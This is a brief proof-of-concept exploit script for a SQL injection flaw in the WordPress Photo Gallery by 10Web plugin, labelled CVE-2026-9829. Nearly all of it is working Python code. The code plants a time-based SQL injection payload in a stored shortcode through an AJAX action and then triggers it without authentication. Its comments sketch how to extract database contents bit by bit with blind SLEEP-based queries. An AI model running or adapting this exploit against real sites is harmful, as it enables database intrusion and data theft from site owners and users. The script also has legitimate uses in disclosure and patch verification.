CVE-2026-9829

# CVE-2026-9829 SQL Injection PoC # WordPress Photo Gallery by 10Web <= 1.8.41 # Requires Contributor-level access import requests import time target_url = "http://target-wordpress-site.com" # Step 1: Store malicious shortcode with SQLi payload via shortcode_bwg AJAX store_payload = { "action": "shortcode_bwg", "shortcode_id": "1", "shortcode": "[photo_album compact_album_order_by='1; SELECT SLEEP(5)-- ']" } response1 = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=store_payload, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) print(f"Step 1 - Stored payload: {response1.status_code}") # Step 2: Trigger the payload via bwg_frontend_data AJAX (unauthenticated) trigger_payload = { "action": "bwg_frontend_data", "shortcode_id": "1" } start_time = time.time() response2 = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=trigger_payload) elapsed = time.time() - start_time if elapsed > 5: print(f"SQL Injection confirmed! Response time: {elapsed}s") # Extract data using time-based blind SQLi techniques # Example: Use SUBSTRING() and ASCII() with SLEEP() to extract data bit by bit else: print("Injection failed")

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